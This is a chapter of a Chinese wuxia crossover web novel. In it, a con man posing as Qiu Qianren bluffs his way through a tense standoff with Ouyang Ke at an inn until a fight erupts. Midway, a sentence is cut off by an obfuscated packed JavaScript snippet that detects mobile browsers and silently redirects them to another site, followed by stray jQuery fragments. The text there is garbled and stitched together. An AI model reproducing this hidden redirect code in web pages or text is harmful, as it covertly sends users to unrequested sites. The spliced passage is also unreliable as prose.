12.江湖骗子

作品:《[综武侠]居然不是游戏

    动静闹得这么大,萧老板自是不好继续当缩头乌龟,红玉推着他从包厢里出来,缓缓停在了碎裂的碗碟旁。


    “前辈当真无礼,明明是想与我无名居合作,却第一次上门便又砸又骂,哪有一点江湖名宿的风范,这可不像是求人态度!”嘴快的红玉上来便是一顿抢白。


    谢玉楼眨眨眼。


    不知是不是错觉,眼前这幕有点熟。


    “好一个牙尖嘴利的臭丫头!”裘千仞勃然大怒,那张布满花白络腮胡的糙汉脸变得更为可怖,即使身形短小精悍也不掩其怒张的气势。


    “裘帮主,抱歉,家中小婢不懂规矩。红玉,还不给前辈致歉,我们开门做生意,怎可与客人顶嘴。”


    “老板~明明是他……”


    “闭嘴!无论如何,客人就是客人,是不会错的!”


    “哼,对不起啦,裘大前辈,都是我不好!”红玉那眼泪,说来就来,哭着道完歉便哽咽地跑回厢房去了。


    人家一个十一二岁童子打扮的小婢都哭跑了,还有谁能继续追究呢,有理没理,其实大多数人都是分辨不清的,只会跟着自我感觉去走。


    更何况真追究起来,谁对谁错可不一定啊。


    如此插曲,竟搅得裘千仞根本没办法继续理直气壮地找麻烦,毕竟,江湖人再怎么混账,明面上到底得披着一张锄强扶弱、绝不欺凌弱小的侠义皮,否则,哪里来的脸面继续混下去。


    重脸面,可是正邪两道所有江湖人难得的共识。


    事态发展到这里,谢玉楼确定,自己先前的感觉并不是错觉。


    很多萧老板不好说的话,红玉就会冲在前面当嘴替,随即再由老萧出面道歉,连消带打一套下来,对方无论有理没有理,都没办法继续追究下去。


    啧啧,这套把戏,看样子萧老板和红玉已经玩得非常熟练了,可真是个精明狡猾又矛盾重重的商人啊,萧老板。


    更别说裘千仞,不,应该是裘千丈,这位裘千仞的双胞兄长武功稀松,经常冒充他弟弟靠着一些骗人的小把戏在江湖里混吃混喝,本就没有什么底气,自是只会借坡下驴,不可能追究下去。


    谢玉楼甚至怀疑,这人掀桌大闹,其实不过是为了和萧别离搭上话罢了。


    但问题就奇怪在,萧别离自称边城小商人,开了一家无名居不假,可他有什么地方值得裘千丈如此费劲勾搭?


    情报中间商的价值,有那么高么?


    再看看。


    谢玉楼的疑惑也是萧别离的疑惑。


    他自问搬来太湖这十几日,一直都在做先期准备工作,并未真正出手谋划些什么,怎的今天一大早睁开眼,店里的生意就突然变得这么好了?


    “裘千仞 ”似是敏锐注意到了萧别离那几不可见的疑惑,冷哼一声袖手而立:“老夫本听闻无名居老板消息灵通,方上门来讨教,不曾想倒是好生见识了一番萧老板的待客之道。”


    萧别离脸上微笑神色丝毫不变:“裘帮主谬赞,小店的确经营相关的生意,既然开着门,自是只要您付得起银子,即使手里没有的情报在下也会以最快的速度帮您寻来。”


    和其他做情报生意遮遮掩掩的人不同,萧别离最讨厌的就是躲躲藏藏,所以他向来大门四处开,光明正大,来者不拒。


    “裘千仞”脸色淡定,口中说着“我铁掌帮不缺银子”,实则心下有点慌张。


    他这不正是没银子花才接了金部使者的任务,出来寻找他们丢了的使者大人么,本想凭借弟弟“铁掌水上漂”的名气空手套白狼,混一顿白食再免费套取些情报。


    作为一名混迹多年从未翻车的骗子,“裘千仞”绝不是因为美色,就轻信了那名无意间遇到的江南女子,继而找上无名居的。


    他已经亲自调查过,这无名居的确刚开业,老板是个瘫子,麾下也没什么高手,平日里做些牵线搭桥的中介生意糊口,绝对不敢胡乱得罪江湖上的大势力,铁掌帮完全可以轻松拿捏,并没有其他猫腻。


    据说这里的三楼,还有瘫子自小培养的名花解语……他虽经常冒充僧道,但并不是不近女色,只是没小年轻们那么热衷罢了。


    谁知,这瘫子也不知是不是头壳被打坏了,怎么做事就那么硬气呢,懂不懂混江湖混的就是人情世故啊!


    “裘千仞”低垂的眼眸颤了颤,无缝衔接刚才的话语:“但,也不要把老夫当冤大头啊,小辈。”


    他昂首阔步,随意挑了个二楼的房间,走向楼梯:“若是真有道歉诚意的话,就带着老夫要的东西来房间找我吧。”


    可惜逼没装完,突然就被人拦下了。


    那两位一直守在包厢外的异域男子站起身来,伸手直接拦住“裘千仞”:“裘先生,既然大家都是为了同一件事找上萧老板,不如请您进包厢一叙?想必这份功劳足以撑起两人的胃口,更何况,我家公子对中原各家武学向来很感兴趣,正欲向前辈讨教。”


    “铁掌水上漂”裘千仞号称武功仅此五绝,也不怪欧阳克想拉拢他,又想与之切磋。


    满脑袋问号的“裘千仞”还没来及的反应,萧别离就先转动轮椅,面朝他们,冷淡的说:“原来欧阳公子所谓的合作,就是这样随便的么。”


    其中一名异域男子拱手对包厢行了一礼:“我家公子只是觉得帮手自是越多越好,毕竟,这里是太湖,七十二水寨占据的太湖。”


    大家身为外客,不合作,如何对付占了地利与人数优势的太湖地头蛇。


    “裘千仞”虽然不知道到底怎么一回事,但此人在江湖中坑蒙拐骗却从未被人拆穿,自有其手段,无论是临场反应还是演技,都能称得上顶尖,不假冒弟弟混吃混喝换个人设做高僧名道,估计说不定反而比现在更出名。


    所以明明已经没了他戏份,完全可以趁机糊弄过去,以免真被拉去和包厢里的什么公子切磋,但此人秉持着人设不能塌的核心主旨,依旧跳出来参与了这场言辞交锋:“哼,小子,让开,老夫对你家什么奶娃娃公子可不感兴趣,混江湖都不忘带家仆的人,早日滚回家去找奶娘吃奶才是正经事。”


    这话音落下,其余人或多或少都眼神中透露出一股看好戏的神色。


    真无知无觉踏入这家无名居的,又有几人呢,除了还没搞清楚状况被无名女子忽悠进来的“裘千仞”,其他人可是各有其目的,均想着,若是裘千仞这位外家掌法高手与白驼山庄传人率先对上,不知能省大家多少力气。


    所以,除了知晓“裘千仞”真实身份的谢玉楼,其他人都在等,等裘千仞出手试试欧阳克的深浅。


    “唔,看了好多遍,到底有什么秘密啊?”阿星侧身过来,在谢玉楼耳边说:“偷偷说,我不告诉别人。”


    “……如此紧张时刻,你还在想这个呐。”


    “江湖人打架是什么很稀罕的事儿嘛?”


    “这倒是。”谢玉楼看了一圈,确定无人注意,这才做了个手掌上涂药的动作。


    阿星立刻明白,差点大喊出声,反应过来后,干


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17473074|201525||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    脆直接传音入密:“江湖把戏里的‘腐木散’?不对吧,裘千仞的名头可是实打实打出来的。”


    “阿星你要知道,”谢玉楼不会如此高深的内力应用技术,只能含糊着回答:“血脉是一件非常神奇的事。”


    听懂了阿星顿时对下面的热闹更期待了,眼睛都变得亮晶晶的,一股子神气活现的笑意压抑不住的从嘴角泄露出来。


    这热闹真这么有意思?


    谢玉楼被感染的也心情激动了起来。


    虽然“裘千仞”必不可能真与欧阳克打起来,但他的确打破了无名居内原本勉强维持着平静的局面。


    按照自家弟弟人设完美演绎完自己戏份的裘千丈在说完话的那一瞬,就立刻意识到事情不妙,他见包厢大门被内劲推开,两排白衣蒙面持剑的姑娘轻盈而出,位于正中的欧阳克摇着扇子缓步走出来,排场十足:“小可倒也没有年轻到如此稚龄,前辈不用担心蒙上恃强凌弱的坏名声。前辈侮辱我白驼山庄,在下却是不得不讨教了。”


    裘千丈在听到“白驼山庄”四个字的时候,脑袋嗡的一声,彻底蒙了。


    欧阳这个姓一般人联系不到欧阳锋身上,可江湖上恐怕很少有人不知,西毒欧阳锋出身西域白驼山庄。


    不是,兄弟,你是西毒欧阳锋的传人你早说呀!


    虽然有些懵,但有些人骗术高超的很,都不用动脑子,本能般应对话语随口就来:“原来是欧阳贤侄,真是大水冲了龙王庙,老夫与欧阳先生多年不见,不知先生可还安好?唉,这几年因闭门练功,虽钦佩欧阳先生却一直不得时间拜见,实属遗憾啊。”


    三十余岁的欧阳克虽然是个色中饿鬼,到处拈花惹草,又品格低劣,自恃武艺而不将他人性命放在眼中,什么极品事情都做得出来,但这些都不影响他是个实打实的叔吹——你夸我叔叔,尊敬我叔叔,我们就能坐下来好好谈,交交朋友!


    裘千丈这种瞬间就能抓住话聊关键的本事,也算是天下一绝了。


    “家叔正闭关,” 欧阳克眉头微皱,陷入两难:“……裘前辈识得在下叔父?”


    就在裘千丈觉得自己又一次化解危机时,只听一声“动手!”


    众人一惊。


    均在眼神逡巡,想第一时间看清楚到底发生了什么事。


    唯有谢玉楼和阿星两个二楼看戏的家伙把所有的事情都尽收眼底。


    原本还指望裘千仞与欧阳克打起来的人,大约都意识到原本剑拔弩张的气氛已被裘千仞几句话打消,双方大概率打不起来了。


    于是一声号令下,省不了事便干脆自己动手。


    发出动手信号的,是南面桌那两人,江湖名气不显,也是阿星唯一认不出的人。


    他们第一攻击目标并非欧阳克,而是原本守在厢房前那两个白衣的异域男子。


    这并不奇怪。


    白驼山庄真正的恐怖之处,除了江湖一流高手欧阳锋外,就是其豢养驱使的毒物,尤其是毒蛇群,更是欧阳锋获得“西毒”这称号的缘由,可见有多厉害。


    此次为了保护欧阳克,欧阳锋命蛇奴牧蛇跟随相伴,这两个白衣的异域男子便是牧蛇的蛇奴,杀了他们,就是直接断了欧阳克一臂。


    蛇奴虽然习武,但更擅长照顾牧养蛇群,且鲜少出庄混迹江湖,怎会是这群刀口舔血杀才的对手,照面不过两三个回合便饮恨而逝。


    欧阳克哪里还顾得上和疑似叔父熟人的家伙掰扯,目眦欲裂,挥扇而上:“鼠辈,该死!”